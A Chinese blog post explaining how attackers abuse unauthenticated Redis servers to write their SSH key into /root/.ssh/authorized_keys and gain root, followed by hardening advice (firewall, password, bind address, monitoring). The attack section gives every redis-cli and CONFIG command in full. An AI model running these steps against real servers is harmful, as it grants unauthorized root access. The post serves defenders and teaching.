Redis- 如何防止攻击者利用未授权访问 Redis 服务的攻击获取目标机器的 root 权限

攻击概述

以下攻击步骤展示了如何利用未加防护的 Redis 服务器,通过配置 Redis 的持久化机制,将攻击者的 SSH 公钥写入目标机器的 ~/.ssh/authorized_keys 文件,从而获取目标机器的 root 权限。这是一种典型的利用未授权访问 Redis 服务的攻击方法。

攻击步骤详细介绍

1. 准备攻击者的 SSH 公钥

首先,攻击者需要准备自己的 SSH 公钥:

cd ~/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

这段命令执行以下操作:

  • 进入攻击者的 ~/.ssh 目录。
  • 使用 echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n" 命令将 SSH 公钥文件 id_rsa.pub 的内容包裹在前后两个空行中,并重定向输出到 key.txt 文件。

加入前后两个空行是关键,因为这样可以确保 authorized_keys 文件的格式正确,不会破坏已有的条目。

2. 将 SSH 公钥写入 Redis

将准备好的 key.txt 文件的内容通过 redis-cli 命令写入 Redis 中的一个键:

cat key.txt | redis-cli -h xx.xx.xx.xx -x set key

这条命令执行以下操作:

  • 使用 cat key.txt 读取 key.txt 文件的内容。
  • 使用 redis-cli 命令将内容写入 Redis 键 key 中。-x 选项表示从标准输入读取数据。
3. 连接到目标 Redis 服务器

通过 redis-cli 连接到目标 Redis 服务器:

redis-cli -h xx.xx.xx.xx
4. 获取并修改 Redis 备份路径

获取目标 Redis 服务器的当前备份路径:

CONFIG GET dir

将 Redis 的备份路径设置为目标用户的 SSH 目录(这里假设是 root 用户的 ~/.ssh 目录):

CONFIG SET dir /root/.ssh
5. 设置备份文件的名称为 authorized_keys

将 Redis 的备份文件名设置为 authorized_keys

CONFIG SET dbfilename authorized_keys
6. 检查是否更改成功

检查 dbfilename 是否成功更改:

CONFIG GET dbfilename
7. 保存当前 Redis 数据库

使用 SAVE 命令将当前 Redis 数据库保存到磁盘。由于前面的配置更改,Redis 会将数据库保存到 /root/.ssh/authorized_keys 文件中:

SAVE
8. 通过 SSH 连接到目标机器

最后,通过 SSH 使用攻击者的私钥连接到目标机器的 root 用户:

ssh root@xx.xx.xx.xx

防御措施

为了防止类似攻击,建议采取以下防御措施:

  1. 限制 Redis 端口访问
    使用防火墙限制 Redis 端口的访问,只允许受信任的 IP 地址访问。

    sudo ufw allow from your_trusted_ip to any port 6379
    sudo ufw enable
    
  2. 设置 Redis 访问密码
    在 Redis 配置文件 /etc/redis/redis.conf 中设置访问密码,以防止未授权访问。

    requirepass your_secure_password
    

    重启 Redis 服务:

    sudo systemctl restart redis
    
  3. 启用绑定 IP 地址
    确保 Redis 只绑定到本地 IP 地址或特定的受信任 IP 地址,而不是 0.0.0.0

    bind 127.0.0.1
    
  4. 定期检查 Redis 配置和数据
    定期检查 Redis 配置和数据目录,确保没有异常更改。

  5. 监控和报警
    设置监控和报警机制,及时发现和响应异常活动。

通过这些防御措施,可以显著提高 Redis 服务器的安全性,防止类似的攻击发生。

  • 4
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

青衫客36

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值